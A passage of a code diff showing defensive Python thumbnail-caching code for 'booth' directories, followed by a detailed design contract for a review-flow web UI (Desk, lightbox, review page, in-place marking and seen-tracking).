return booth / THUMB_DIR / f"{rel}.{rule}.webp"
|
||||
|
||||
|
||||
def wants_thumb(rel: str) -> bool:
|
||||
"""Whether a rel is a candidate at all — extension only, no file read.
|
||||
|
||||
Called from the resolver for every item on every index load, so it must not
|
||||
touch the disk."""
|
||||
return Path(rel).suffix.lower() in THUMBABLE
|
||||
|
||||
|
||||
def _fresh(out: Path, s_stat: os.stat_result) -> bool:
|
||||
"""A cache hit: a REGULAR file (lstat, so a link or a directory planted at
|
||||
the name never counts) carrying its source's EXACT mtime. Exact, not
|
||||
"at least as new": a source replaced by `cp -p` or an archive extract keeps
|
||||
an OLDER stamp, and `>=` served the old thumbnail forever."""
|
||||
try:
|
||||
o = os.lstat(out)
|
||||
except OSError:
|
||||
return False
|
||||
return stat.S_ISREG(o.st_mode) and o.st_mtime_ns == s_stat.st_mtime_ns
|
||||
|
||||
|
||||
def _cache_dir(booth: Path, parent: Path) -> bool:
|
||||
"""Make `parent` (a directory under `booth`) exist as REAL directories,
|
||||
component by component, never following a link. False when something that
|
||||
is not a directory is in the way: a `.thumbs` planted as a link would
|
||||
otherwise put the cache outside the booth, beyond the sweep.
|
||||
|
||||
⚠ CREATING `.thumbs` TOUCHES THE BOOTH DIRECTORY'S OWN MTIME, and
|
||||
`_newest_mtime` seeds from exactly that — so merely LOOKING at a booth aged
|
||||
it, and once the Desk pulls a thumbnail per booth, one index load would push
|
||||
every expiry out and the TTL would never fire again. Excluding the cache's
|
||||
CONTENTS is not enough; the directory entry is the leak. So the booth's
|
||||
mtime is put back after `.thumbs` is made. That cannot hide real activity:
|
||||
any file an agent adds is counted by its OWN mtime in the same walk, and the
|
||||
directory stamp is only the seed."""
|
||||
cur = booth
|
||||
for part in parent.relative_to(booth).parts:
|
||||
cur = cur / part
|
||||
try:
|
||||
if not stat.S_ISDIR(os.lstat(cur).st_mode):
|
||||
return False
|
||||
continue
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
restore = booth.stat() if cur.parent == booth else None
|
||||
try:
|
||||
os.mkdir(cur)
|
||||
except FileExistsError:
|
||||
pass
|
||||
if restore is not None:
|
||||
try:
|
||||
os.utime(booth, ns=(restore.st_atime_ns, restore.st_mtime_ns))
|
||||
except OSError:
|
||||
pass
|
||||
if not stat.S_ISDIR(os.lstat(cur).st_mode):
|
||||
return False
|
||||
return True
|
||||
|
||||
|
||||
def ensure_thumb(booth: Path, rel: str) -> Path | None:
|
||||
"""The cached thumbnail for `rel`, generating it if needed. None when there
|
||||
should not be one — Pillow absent, unsupported type, source already
|
||||
tile-sized and light, an animation that already fits (a thumbnail is one
|
||||
frame; an animation too big to fit IS flattened), over the pixel budget,
|
||||
something planted in the cache's way, or anything at all went wrong.
|
||||
|
||||
NEVER RAISES. A thumbnail is an optimisation; a booth page that will not
|
||||
load is worse than a page that loads slowly, which is the posture every
|
||||
other read on this path already takes.
|
||||
"""
|
||||
if _Image is None or not wants_thumb(rel):
|
||||
return None
|
||||
src = booth / rel
|
||||
out = thumb_path(booth, rel)
|
||||
try:
|
||||
s_stat = src.stat()
|
||||
if _fresh(out, s_stat):
|
||||
return out
|
||||
|
||||
with _Image.open(src) as im:
|
||||
# `open` reads the header only, so this is cheap enough to decide on.
|
||||
w, h = im.size
|
||||
if w * h > THUMB_MAX_PIXELS:
|
||||
return None
|
||||
# The size the picture is SEEN at: a camera stores a portrait
|
||||
# sideways and says so in EXIF, and the browser honours it on the
|
||||
# original. Pillow does not, so sizing the raw pixels tiled a
|
||||
# portrait as a landscape (groa, seat-verified).
|
||||
orientation = im.getexif().get(0x0112, 1)
|
||||
if orientation in (5, 6, 7, 8):
|
||||
w, h = h, w
|
||||
fits = w <= THUMB_WIDTH and h <= THUMB_HEIGHT_MAX
|
||||
if fits and (s_stat.st_size <= THUMB_LIGHT_BYTES or getattr(im, "is_animated", False)):
|
||||
return None # already tile-sized and cheap (or moving): serve the original
|
||||
if orientation != 1:
|
||||
im = _ImageOps.exif_transpose(im)
|
||||
im.thumbnail((THUMB_WIDTH, THUMB_HEIGHT_MAX))
|
||||
if im.mode not in ("RGB", "RGBA"):
|
||||
# A palette PNG carries transparency in `info`, not as a band:
|
||||
# `getbands()` alone baked it opaque (3/4 arms, seat-executed).
|
||||
alpha = "A" in im.getbands() or "transparency" in im.info
|
||||
im = im.convert("RGBA" if alpha else "RGB")
|
||||
if not _cache_dir(booth, out.parent):
|
||||
return None
|
||||
# Atomic, like every other sidecar this service writes, through a
|
||||
# temp file created O_EXCL under an unpredictable name: the old
|
||||
# `<out>.<pid>.tmp` could be planted as a link, and the encoder
|
||||
# wrote THROUGH it (seat P5: 600 B -> 316,400 B).
|
||||
fd, tmp = tempfile.mkstemp(prefix=".", suffix=".tmp", dir=out.parent)
|
||||
try:
|
||||
with os.fdopen(fd, "wb") as fh:
|
||||
im.save(fh, "WEBP", quality=THUMB_QUALITY, method=4)
|
||||
os.utime(tmp, ns=(s_stat.st_atime_ns, s_stat.st_mtime_ns))
|
||||
os.replace(tmp, out)
|
||||
finally:
|
||||
try:
|
||||
os.unlink(tmp)
|
||||
except OSError:
|
||||
pass
|
||||
return out if _fresh(out, s_stat) else None
|
||||
except Exception: # noqa: BLE001 — a bad image costs its own tile, never the page
|
||||
return None
|
||||
@@ -0,0 +1,556 @@
|
||||
---
|
||||
contract_version: "0.2-BUILT"
|
||||
status: "BUILT 2026-09-23 on design-dev/svos-retheme (C1-C7, TDD), awaiting heid code-review and bug-hunt before the hand-over to booth-dev. PROPOSED 2026-09-23 by design-dev. Ruled by the operator the same day in the `flow` mark on booth-flow-concepts (direction a_b; compare MODE to be built in this arc; voice plain; emblem no), relayed via Miranda → booth-dev, verbatim at docs/rulings/. Compare mode is NOT in this contract: it lands after this one as r3, as a view toggle over the same item record."
|
||||
module: "booth.app + booth.items + templates (the review flow)"
|
||||
purpose: "Make the Booth a place where judgment happens rather than a place where files are shown. The operator's bar is 'did anything change when I opened it'. A reskin cannot clear that bar; this contract changes the flow. There are three surfaces and one plumbing change. THE DESK: the index triaged by what needs the operator. THE LIGHTBOX: a booth page with the set on the left and the verdict beside it. THE REVIEW: full size with the judgment on screen, a filmstrip, and seen-tracking. The plumbing is IN-PLACE JUDGMENT: a mark POST that does not reload the page or eject you from full size."
|
||||
depends_on:
|
||||
- "booth.items.booth_items + Item (INV-1: the one resolver). Item gains `ordinal`, derived there and nowhere else."
|
||||
- "booth.items.image_chain (the zoom ring). SUPERSEDED for the review route by `review_chain`; image_chain stays importable and unchanged for its existing callers and tests."
|
||||
- "booth.app._newest_mtime (THE definition of activity — booth-dev, 2026-09-23). It feeds lifetime; the Desk no longer sorts by it (amended 2026-09-23, §3). The Desk's 'landed since you looked' is a DIFFERENT question and gets a DIFFERENTLY NAMED helper; see INV-5."
|
||||
- "booth.app.record_view / VIEW_MARKER (`.viewed`, U4). The Desk reads its mtime to answer 'new since you looked'."
|
||||
- "booth.app.hold_read / hold_reason / open_marks (INV-2 of U2: the one openness predicate). 'Needs you' is `open_marks(...)` non-empty, or `hold_reason(...) == \"unreadable\"` (C4); nothing else."
|
||||
- "booth.marks.as_dict, set_flag, write_note, answer_pick, delete_mark (the write API, UNCHANGED)."
|
||||
- "booth.app._mark_redirect (the 303 landing). Extended with one new `back` value; the existing two landings stay byte-identical."
|
||||
- "booth.benches.read_benches, booth.links.parse_link_entries / order_for_display / booth_target (the Desk's side column)."
|
||||
language: "python + jinja + a little javascript"
|
||||
complexity: "high"
|
||||
estimated_loc: 900
|
||||
confidence: 0.6
|
||||
used_by:
|
||||
- "booth.app.index (the Desk)"
|
||||
- "booth.app.booth_view (the lightbox)"
|
||||
- "booth.app.booth_view_file (the review)"
|
||||
- "booth.app.booth_answer / booth_note / booth_flag / booth_unmark (in-place judgment)"
|
||||
touches:
|
||||
- "booth/items.py (Item.ordinal; review_chain; read_seen/SEEN_FILE)"
|
||||
- "booth/app.py (list_booths fields; index sections; booth_view verdict data; booth_view_file review context + record_seen; wants_json + 204; _mark_redirect `back=view`)"
|
||||
- "booth/templates/index.html (REWRITTEN as the Desk)"
|
||||
- "booth/templates/booth.html (restructured: two panes; the marks panel moves into the verdict aside; tiles carry ordinals; inline group headers)"
|
||||
- "booth/templates/view.html (REWRITTEN as the review: stage, rail, filmstrip, tape)"
|
||||
- "booth/templates/_marks.html (renders inside the aside; flag list ordered by ordinal)"
|
||||
- "booth/templates/base.html (layout CSS; the in-place script)"
|
||||
- "booth/templates/doc.html (NOT restructured — a doc keeps its reading page; named because it was checked)"
|
||||
- "booth/static/embed.js (NOT TOUCHED — the verbatim path keeps its author's layout; requirement 6)"
|
||||
- "tests/test_booth.py (THREE assertions change, all in test_index_separates_kept_from_ephemeral: L785-786, the kept-lane presence pair, and L789, kept-before-ephemeral. L810-811, the absence pair, survive unchanged. See 'Assertions that change')"
|
||||
- "tests/test_flow.py (NEW)"
|
||||
- "tests/test_embed_browser.py (ONE test changes: test_the_keyboard_flag_actually_submits expected a navigation, which is the defect R2 removes. See 'Assertions that change')"
|
||||
assumptions:
|
||||
- "ONE VIEWER. `.seen` records what has been seen at full size, not WHO saw it. ROADMAP parks 'per-viewer state (who has seen what)' on the one-viewer premise; this contract keeps that premise and does not reopen the parked item."
|
||||
- "EVERY JUDGMENT WORKS WITH JAVASCRIPT OFF. Each control stays a plain <form method=post>. The in-place behaviour is additive and falls back to today's 303."
|
||||
- "THE VERBATIM PATH IS OUT OF SCOPE. A booth with its own index.html is served as the author wrote it (requirement 6). The Desk links to it; the lightbox never renders for it."
|
||||
- "NO THUMBNAILS. Tiles, the filmstrip and the Desk's preview strip use the original files with loading=lazy. Progressive loading stays parked until page weight is measured."
|
||||
open_questions:
|
||||
- "ANSWERED BOOTHS LOSE THEIR HOLD (raised by booth-dev in b46ac02). A booth is held while its question is open, so it becomes sweepable the moment it becomes a decision record. The flow question: should an answered pick hold its booth for a grace period, or should the record live elsewhere? NOT SOLVED HERE, because it is a lifetime-policy change and this contract changes no lifetime rule. Raised separately."
|
||||
- "KEY 1–9 TO ANSWER A PICK from the review rail. It appeared in the concept mock. Dropped from this contract: multi-question picks make the mapping ambiguous, and the operator ruled the flow, not the keymap. Parked."
|
||||
---
|
||||
|
||||
# R2 — the review flow: the Desk, the lightbox, the review
|
||||
|
||||
## The requirements this answers (from the round-2 README, uncorrected by the operator)
|
||||
|
||||
| # | requirement | answered by |
|
||||
|---|---|---|
|
||||
| 1 | show me what needs me | the Desk's *needs you* section |
|
||||
| 2 | picking winners is the main judgment | the lightbox's flag tray; F in the review |
|
||||
| 3 | flag without losing my place | in-place judgment + `back=view` |
|
||||
| 4 | position is identity (within the set as it is now — not a durable id) | `Item.ordinal`, printed on every tile |
|
||||
| 5 | the question stays beside the work | the verdict aside (sticky) |
|
||||
| 6 | reports keep their author's layout | verbatim path untouched |
|
||||
| 7 | listening sets are real | `review_chain` includes audio and video |
|
||||
| 8 | lifetime is not an organising principle (it is still SHOWN as a fact on each row; it no longer GROUPS or SORTS) | the Desk drops the kept/ephemeral lanes |
|
||||
|
||||
## Terms used below
|
||||
|
||||
- **Reticle**: the SVOS selection mark in base.html — four corner brackets drawn
|
||||
inside a box. It marks the one current or selected thing and nothing else.
|
||||
- **Tape**: a row of small segments, one per item in the review ring, each
|
||||
showing *seen*, *flagged* or *current*.
|
||||
- **Stage**: the area of the review page where the artifact itself renders.
|
||||
- **All Booth state files are dotfiles.** That covers `.marks.json`
|
||||
(MARKS_FILE), `.viewed`, `.blurred`, `.seen`, `.forever`, `.pins`,
|
||||
`.booth.json` and every `*.lock`. "Non-dot entries" means the posted content
|
||||
and nothing the Booth or the operator wrote.
|
||||
|
||||
## Components
|
||||
|
||||
### C1 — `Item.ordinal` (items.py)
|
||||
|
||||
`ordinal: int` is the item's 1-based position in `booth_items(booth)`, i.e. in
|
||||
`sorted(rel)` order over **all** items. It is assigned in the resolver loop, so
|
||||
no route derives it.
|
||||
|
||||
- `ordinal` is **appended** as the dataclass's last field, never inserted.
|
||||
Mid-dataclass insertion is a positional-construction break, and `group` has
|
||||
already had that conversation.
|
||||
- The resolver's `quote()` guard on non-UTF-8 names stays exactly as it is. It
|
||||
looks like a stray `try` around a discarded result, but it is what keeps one
|
||||
0xff filename from taking down the index for every booth.
|
||||
- An item skipped by that guard takes no ordinal, so ordinals stay contiguous
|
||||
over the items that render.
|
||||
|
||||
- **A filter never renumbers.** Under `?filter=flagged` a tile still shows the
|
||||
number it has in the whole set. That is the point: "#07" is a property of the
|
||||
item, not of the view.
|
||||
- **A new file renumbers everything after it.** That is honest, and it matches
|
||||
the order: the operator's positional references are to the set as it is now.
|
||||
|
||||
### C2 — `review_chain` and `.seen` (items.py, app.py)
|
||||
|
||||
- **`review_chain(items)`**: the rels of items whose kind is image, video or
|
||||
audio, in item order. ONE LINE: *the item order filtered to media.* It
|
||||
replaces `image_chain` as the review route's prev/next ring.
|
||||
- It is a **declared change** to the zoom-ring rule. Today's ring is images
|
||||
only. A booth mixing images and audio now rings through both, in set order.
|
||||
- `image_chain` stays for its callers and tests.
|
||||
- **`SEEN_FILE = ".seen"`**: a UTF-8 JSON array of rels. Not one rel per
|
||||
line, `.blurred`'s shape: a file name may contain a newline, and a line format
|
||||
would split one such rel into two, neither of them real.
|
||||
- Written by `record_seen(booth, rel, items)` from the review route, below the 404s
|
||||
and gated on the item record — the same gate `record_view` has.
|
||||
- Each write rewrites the whole file: the previous set plus `rel`, minus
|
||||
rels no longer in `booth_items`, sorted. It is deduplicated and pruned, so
|
||||
it never grows past the booth's item count.
|
||||
- Atomic replace, per the Booth's CLAUDE.md invariant 5 ("sidecar writes are
|
||||
atomic"), not this contract's INV-5.
|
||||
- Seen is keyed by rel. A file replaced at the same path stays seen; a
|
||||
deleted file drops out at the next write, and every count below
|
||||
intersects with the current `review_chain`.
|
||||
- **The review route ALSO calls `record_view` (existing U4 behaviour,
|
||||
unchanged).** So reviewing a booth at full size refreshes "you looked" for
|
||||
the Desk exactly as opening its grid does. `.viewed` and `.seen` never
|
||||
disagree about whether you looked at the booth; `.seen` only adds WHICH
|
||||
items.
|
||||
- NEVER RAISES, like `record_view`: failing to record a look costs the
|
||||
marker, not the page.
|
||||
- `read_seen(booth) -> set[str]` is lenient and NEVER RAISES. It opens without
|
||||
following a symlink and without blocking, reads only a regular file of at
|
||||
most 1 MiB, and keeps only the array's string members. Anything else — a
|
||||
link, a FIFO, a directory, an oversized, malformed or too-deeply-nested
|
||||
file — reads as the empty set. `.seen` sits in an agent-writable directory, and a planted FIFO
|
||||
must not hang the review route.
|
||||
- `items` is the route's own `booth_items` result. It is passed in so that the
|
||||
prune ("minus rels no longer in `booth_items`") costs no second walk.
|
||||
- **Seen is UI state, not judgment.** It is not exposed in `marks.json` and it
|
||||
holds nothing.
|
||||
- It adds no lifetime RULE. Being a dotfile, its write does move
|
||||
`_newest_mtime`. So does the `.viewed` write on the same request, so a
|
||||
review page ages a booth exactly as it does today.
|
||||
|
||||
### C3 — in-place judgment (app.py, base.html)
|
||||
|
||||
**`wants_json(accept: str | None) -> bool`** takes the raw `Accept` header, so
|
||||
it is a pure function a test can call directly. It is True **only** when the
|
||||
header, split on commas, contains an entry whose media type, parameters stripped, is
|
||||
exactly `application/json` and whose q-value is absent or greater than 0.
|
||||
|
||||
- Absent, empty, `*/*` or `application/*` → False.
|
||||
- `application/json;q=0` → False. A client that explicitly refuses JSON gets
|
||||
the redirect.
|
||||
- A near miss such as `application/jsonx` → False.
|
||||
- **Every entry is parsed before anything is decided.** One unparseable
|
||||
entry anywhere, before or after a good one, makes the whole header False.
|
||||
- Any header that fails to parse → False. A q-value that is not a finite
|
||||
number (`q=nan`, `q=inf`) fails to parse.
|
||||
- **It fails toward the 303.**
|
||||
|
||||
The four mark routes (`/answer`, `/note`, `/flag`, `/unmark`) perform the same
|
||||
write as today, then:
|
||||
|
||||
- `wants_json` → **204 No Content**.
|
||||
- otherwise → today's `_mark_redirect(...)`, **byte-identical**: same status,
|
||||
same `Location`, same body.
|
||||
|
||||
**`back=view`** is a new landing for `_mark_redirect`, carried by the review
|
||||
route's forms together with `f=<rel>`. It lands on
|
||||
`/b/<name>/view?f=<quote(rel)>#rail`. This fixes the JS-off bounce too:
|
||||
today's zoom flag form carries no `back`, so it lands on the gallery.
|
||||
|
||||
- `back=view` lands on the review only when `f` names an item in
|
||||
`review_chain`, i.e. a media item. For anything else (a doc, a missing rel,
|
||||
an empty `f`) the landing falls back to the booth page, exactly as a form
|
||||
with no `back` does today. `doc.html` carries no forms, so no shipped page
|
||||
sends `back=view` with a doc.
|
||||
- The URL is built server-side from `name` + `quote(f)`, never echoed, so this
|
||||
is not an open redirect.
|
||||
|
||||
**The client**: one small script in base.html, bound to forms marked
|
||||
`data-inplace`.
|
||||
|
||||
1. POST the form with `Accept: application/json`.
|
||||
2. On 204, GET the current URL and replace **every** element carrying
|
||||
`data-region="<id>"` with the same-id element from the response.
|
||||
- The rule is "every region whose content can depend on marks is a
|
||||
region".
|
||||
- On the lightbox: the verdict aside, each tile, the rail (its filter
|
||||
counts change when you flag), and the header's open count and lifetime
|
||||
line (`booth-status`).
|
||||
- On a booth with marks but no set: the panel (`marks-panel`).
|
||||
- On the standalone marks page: the header's open count (`booth-status`)
|
||||
and the panel (`marks-panel`), one region around both its states so
|
||||
answering the last mark away swaps in the empty state.
|
||||
- On the review: the rail, the filmstrip and the tape.
|
||||
- The stage is never a region: replacing it would restart a playing video
|
||||
or audio track.
|
||||
- A TILE (`item-*`) absent from the response is left alone and never
|
||||
deleted. Deleting it would shift every tile after it under the reader's
|
||||
eye. It is marked `is-stale` so it does not pass for current:
|
||||
un-flagging under `?filter=flagged` is the case. The next navigation
|
||||
drops it.
|
||||
- Any OTHER difference in structure — a non-tile region in the response
|
||||
that the page lacks, or one the page has that the response lacks — or a
|
||||
page with no region to swap at all, is not patched: the script reloads
|
||||
with a GET, so what you see is the server's truth.
|
||||
- The swap also carries the per-viewer state a reload would have reset
|
||||
but an in-place save must not:
|
||||
- live media whose src is unchanged;
|
||||
- a revealed blur;
|
||||
- a closed doc;
|
||||
- disclosures the reader opened or closed;
|
||||
- every DIRTY control: a half-typed or edited note, a radio picked and
|
||||
not yet sent.
|
||||
|
||||
All of it is matched by IDENTITY, never by position: a form by its
|
||||
action and its hidden `ask`/`target`/`mark`/`f` fields, a control by its
|
||||
form plus its name (plus its value for a radio or checkbox), a disclosure
|
||||
by the pick or form it holds. A flag that adds a tray row above a draft
|
||||
must not move the draft into the wrong box. The form just sent is the
|
||||
exception: its fields come back as the server rendered them, and its
|
||||
disclosure comes back folded.
|
||||
3. **Saves are SERIALIZED.** Each save runs its POST, its GET and its swap
|
||||
before the next begins, so an older snapshot never lands after a newer one
|
||||
(three quick flags show three flags). A form already queued or in flight
|
||||
ignores another submit: a double-click writes one note, not two.
|
||||
4. **The script never re-POSTs.** A retry after a lost response would re-apply
|
||||
the judgment: a duplicate note, or a re-dated answer.
|
||||
- On a non-204 HTTP response, or a network failure, it writes a fixed
|
||||
message into the page's server-rendered status element
|
||||
(`data-region="status"`, via textContent). After a beat (0.9 s, so the
|
||||
words can be read) it reloads the page with a GET, so what you see is the
|
||||
server's truth.
|
||||
- The one case where a non-JS submit happens is a script that cannot run at
|
||||
all. That is the plain form.
|
||||
|
||||
**The server renders every state; the script only places it.** This is U3's
|
||||
rule — a second renderer in JavaScript would be the same bug in a new language.
|
||||
|
||||
### C4 — the Desk (index.html, app.index, list_booths)
|
||||
|
||||
`list_booths` gains five fields, all read in the one pass it already makes:
|
||||
|
||||
- **`open_since`**: the `created` of the OLDEST open pick in the booth, or
|
||||
None. Computed via `open_marks`, INV-2.
|
||||
- `Mark.created` is a STRING. It is parsed with `datetime.fromisoformat`,
|
||||
never compared lexically: two ISO stamps with different offsets, or a
|
||||
legacy-import stamp, sort wrong as text.
|
||||
- An unparseable stamp sorts AFTER every parseable one, and name breaks the
|
||||
tie.
|
||||
- **`flags`**: the number of CURRENT items carrying a READABLE flag mark,
|
||||
shown on every Desk row that has any — `flagged_targets(marks)` intersected
|
||||
with the booth's item rels. `flagged_targets(marks)` is the ONE flag
|
||||
predicate. The Desk, the tray, the orphan list, the rail's `flagged` filter,
|
||||
the tiles, the filmstrip, the tape and the review button all read it, and an
|
||||
unreadable flag entry counts nowhere. A flag whose file
|
||||
has since been deleted is an ORPHAN: it counts on no Desk row, and the tray
|
||||
lists it (C5) so it can be cleared.
|
||||
- **`landed_at`**: the newest mtime among the booth's CONTENT — its regular
|
||||
files and symlinks with no dot-component in their path, each read by
|
||||
`lstat`. **Deliberately not `_newest_mtime`** (INV-5). Five refinements,
|
||||
each load-bearing:
|
||||
- **Files only, never directories.** Creating any dotfile (`.viewed`, the
|
||||
marks file's temp-and-replace) bumps the booth directory's own mtime, so
|
||||
counting directories would make the flag you set after looking read as a
|
||||
delivery.
|
||||
- **A symlink counts by its OWN mtime** — when it was placed — never its
|
||||
target's. A link to a busy file outside the booth must not make the booth
|
||||
read as newly delivered.
|
||||
- **An empty booth landed at 0.0.**
|
||||
- **One unreadable entry is skipped.** Reading the whole booth as landed NOW
|
||||
for one bad entry would pin it in 'new' forever.
|
||||
- **A booth whose walk cannot run at all reads as NOW.** It is shown as new
|
||||
rather than hidden as old.
|
||||
- **`viewed_at`**: the mtime of `.viewed`, or None.
|
||||
- **`preview`**: up to 4 image items as `(url, blurred)`, first four in item
|
||||
order. A blurred one renders blurred, the same rule as the cover.
|
||||
- A booth with no images (an audio set, a report) shows today's kind
|
||||
placeholder instead (`♪ audio`, `▦ page`, `▶ video`, `◆ files`).
|
||||
- These are the original files displayed small with `loading=lazy`. No
|
||||
thumbnail is GENERATED anywhere in R2; see Out of scope.
|
||||
|
||||
**The index renders three sections, always in this order:**
|
||||
|
||||
1. **Needs you** — `marks_open > 0`, **or** `hold == "unreadable"`.
|
||||
- `marks_open` counts `open_marks(...)`, which only ever returns PICKS. A
|
||||
booth whose marks are only flags or notes is the operator's own judgment,
|
||||
not a question to them, so it is NOT here.
|
||||
- A damaged `.marks.json` holds its booth but is not open by `open_marks`
|
||||
(errored picks are not open). Somebody has to fix it, so it must not hide
|
||||
in 'everything else'. It renders with the existing "marks unreadable"
|
||||
lifetime line.
|
||||
- Ordered by `(open_since, name)`, oldest question first. A booth held
|
||||
`unreadable` has no `open_since` — even when a readable pick sits beside
|
||||
the damage, because the damage is the thing to fix — and sorts after every
|
||||
booth that has one.
|
||||
2. **New since you looked** — `not in_needs_you and (viewed_at is None or
|
||||
landed_at > viewed_at)`. Ordered by `(-landed_at, name)`, newest first.
|
||||
3. **Everything else** — last UPDATED first: `(-landed_at, name)`, the date
|
||||
the row shows as "updated". **Amended 2026-09-23 by the operator** ("last
|
||||
activity can just be last time the booth was updated, not necessarily
|
||||
operator's last activity"). This section used to be `list_booths`' order,
|
||||
`(mtime, name)` descending over `_newest_mtime`, and that clock counts a
|
||||
look: opening a booth moved it up, and a script that fetched every booth
|
||||
(a post-deploy check) collapsed the whole section into reverse name order.
|
||||
- Flagging, viewing or blurring a booth no longer moves it. Only content
|
||||
does, which is also what moves a booth into (2).
|
||||
- `list_booths` keeps its own `(mtime, name)` order for its other readers,
|
||||
and `_newest_mtime` still feeds lifetime (INV-5). Only the Desk's
|
||||
section stopped reading it.
|
||||
|
||||
The side column holds:
|
||||
|
||||
- **Benches**: `read_benches(data_dir)`, non-retired, in the registry's
|
||||
existing order. Its error return renders as an error line, never as an empty
|
||||
list. This is the booth page's rule: damaged and absent must not render the
|
||||
same.
|
||||
- **Agent-written URLs become links only when they are `http(s)`.** A bench
|
||||
URL or a bookmark with any other scheme renders as plain text. Autoescape
|
||||
stops markup, not a `javascript:` href.
|
||||
- **Bookmarks** come from the board the CLI writes: the booth named by
|
||||
`BOOTH_LINKS_BOARD`, default `links`. They are read through the same
|
||||
never-raising path as `_board_rows`, which gets factored so both callers
|
||||
share it.
|
||||
- Shown: rows that are not booth URLs (`booth_target(url) is None`).
|
||||
- Order: pinned first, then newest (`order_for_display`).
|
||||
- Capped at 8, with a link to the full board.
|
||||
- **Pickup**: the existing upload form, unchanged, moved from the page head.
|
||||
|
||||
**An empty section does not render** — no heading, no box. This is the
|
||||
load-bearing negative half of the kept-lane pair it replaces
|
||||
(`'class="grid kept-grid"' not in html`), carried forward into test_flow.py as
|
||||
a pair: present when it has rows, absent when it has none. It applies to each
|
||||
of the three sections and to the Benches and Bookmarks panels.
|
||||
|
||||
The kept/ephemeral lanes are **removed**: 23 of 24 live booths are kept, so the
|
||||
lanes sort nothing. Kept status and the lifetime line (`_lifetime.html`,
|
||||
unchanged) remain on every row.
|
||||
|
||||
**A row's controls sit on its facts line**, each beside the state it changes:
|
||||
`release` after "kept", `★ keep` after a countdown or a hold, `× wipe` last.
|
||||
They are always visible, with no hover-only reveal: that was a column that
|
||||
reserved its room while invisible (operator, 2026-09-23, on the live Desk:
|
||||
"release and x take up space whether or not they're visible"), and touch has
|
||||
no hover. The side column renders only when the row has a badge, so a row
|
||||
without one reserves nothing. The forms, POST targets and `data-confirm`
|
||||
wording are unchanged.
|
||||
|
||||
- **On a coarse pointer every row control is at least 28px square**, the floor
|
||||
it had as a column, and wipe stands clear of the zip link. With scripts off
|
||||
no confirm fires, so a mis-tap on wipe is the delete. A fine pointer keeps
|
||||
the compact line.
|
||||
- **The confirm dialog shows the name as it should be READ.** Control and bidi
|
||||
formatting characters in an agent-made name show as U+FFFD, so a U+202E or a
|
||||
newline cannot rewrite what the operator approves. A `data-confirm` word the
|
||||
page does not know still asks, generically: the prompt fails closed.
|
||||
- **No page scrolls sideways at any width**, including an install path with no
|
||||
break opportunity in the footer or the empty Desk (`code` wraps anywhere).
|
||||
Tested at 390, 720, 850, 1000 and 1400px with the heaviest row the Desk draws.
|
||||
|
||||
### C5 — the lightbox (booth.html, booth_view)
|
||||
|
||||
- **Layout.** Two panes on a gallery booth: the set on the left, the
|
||||
**verdict aside** on the right (`position:sticky`, `data-region="verdict"`).
|
||||
Under 1000px the aside stacks above the set, with its flags and notes
|
||||
collapsed as `<details>`, which needs no script.
|
||||
- The markup is a CLOSED `<details>`.
|
||||
- Above 1000px, CSS alone shows its content (`::details-content`) and hides
|
||||
its summary, so nothing is folded where there is room.
|
||||
- A browser without `::details-content` shows the fold at every width: one
|
||||
tap, never hidden.
|
||||
- **Board booths are unchanged.** Anything with `links.md` keeps today's
|
||||
single column.
|
||||
- **The aside holds, top to bottom:**
|
||||
1. open picks (the existing `_marks.html` pick rendering);
|
||||
2. the flag tray;
|
||||
3. notes;
|
||||
4. the booth-note form.
|
||||
- **The flag tray is ordered by ORDINAL** — a declared change from the marks
|
||||
panel's `(created, id)`. It shows each flagged item's original file
|
||||
displayed small (no generated thumbnail), blurred if the item is blurred,
|
||||
with its #.
|
||||
The order is total with no tie-break, because rels are unique.
|
||||
- **Orphan flags** — flags whose target is no longer an item — follow the
|
||||
tray, by target, each with its unmark form. A flag the page cannot show
|
||||
must still be clearable, or it counts in the rail forever.
|
||||
- **The rail stays.** Same element, same `.rail` class (booth.html's cursor
|
||||
and base.html's `--rail-h` script both read it), same filter hrefs, same
|
||||
group anchors. When `rail.groups` is non-empty AND every group is one
|
||||
contiguous run in the rendered order, the grid additionally renders an
|
||||
inline group header before each group's first tile.
|
||||
- Groups come from basenames and the order from full paths, so groups can
|
||||
interleave (`d1/aa`, `d1/bb`, `d2/aa`).
|
||||
- A header would then either repeat or file an item under the wrong group,
|
||||
so interleaved groups get no inline headers. The rail's jump links are
|
||||
unaffected. It is a
|
||||
`<div>` spanning the grid, never a `figure.item`, so the keyboard and the
|
||||
order check are blind to it by construction.
|
||||
- **Every tile shows `#NN`** (its ordinal, zero-padded to the set's width).
|
||||
Each tile is `data-region="item-<url>"`, so the in-place script can replace
|
||||
exactly the tile it flagged.
|
||||
- **An audio or video tile carries a `review` link** to its review page. On
|
||||
those tiles a click drives the player, so without the link the review is
|
||||
reachable only by key.
|
||||
|
||||
### C6 — the review (view.html, booth_view_file)
|
||||
|
||||
This applies to image, video and audio items. Docs keep `doc.html`.
|
||||
|
||||
A requested rel the filesystem cannot represent (a NUL byte, an over-long
|
||||
path) is a 404, as any other unknown rel is — never a 500.
|
||||
|
||||
- **The stage**: the artifact at fit size, with a 1:1 toggle for images ONLY.
|
||||
- The toggle and its script are rendered and bound only when the stage is
|
||||
an `<img>`.
|
||||
- The toggle is a JS-only VIEWING convenience, as it is today: the button
|
||||
starts hidden and the script shows it. With scripts off the image shows at
|
||||
fit size, and no judgment depends on the toggle (INV-3).
|
||||
- Video and audio get their native controls and no toggle. A toggle that
|
||||
renders on audio and silently no-ops (today's script binds
|
||||
`getElementById('vimg')`) is the failure this names.
|
||||
- **The rail** (`data-region="rail"`) holds:
|
||||
- the item's ordinal `#NN` (its number in the whole set, the same number
|
||||
its tile shows);
|
||||
- `K of M`, where K is its position in `review_chain` and M is the length
|
||||
of `review_chain`. The tape's "N of M seen" uses the SAME M, and N counts
|
||||
`.seen` ∩ `review_chain`;
|
||||
- its position within its group, when the review RING spans two or more
|
||||
groups (the gallery rail's own rule: one group for everything says
|
||||
nothing);
|
||||
- the caption;
|
||||
- the flag form (`back=view`);
|
||||
- notes and the add-note form (`back=view`);
|
||||
- any open pick TARGETING this item, answerable here (`back=view`);
|
||||
- the booth's other open picks as a count and a link.
|
||||
- **The filmstrip** is `review_chain` in order, with ordinals, flagged frames
|
||||
underlined and the current frame in the reticle.
|
||||
- **The tape** (B's device) is one segment per `review_chain` item: seen /
|
||||
flagged / current, plus "N of M seen".
|
||||
- **The end of the set** is not a separate page. On the last ring item the
|
||||
rail adds a summary block: the seen count, the flag tray, and EVERY OTHER
|
||||
open pick, answerable in place.
|
||||
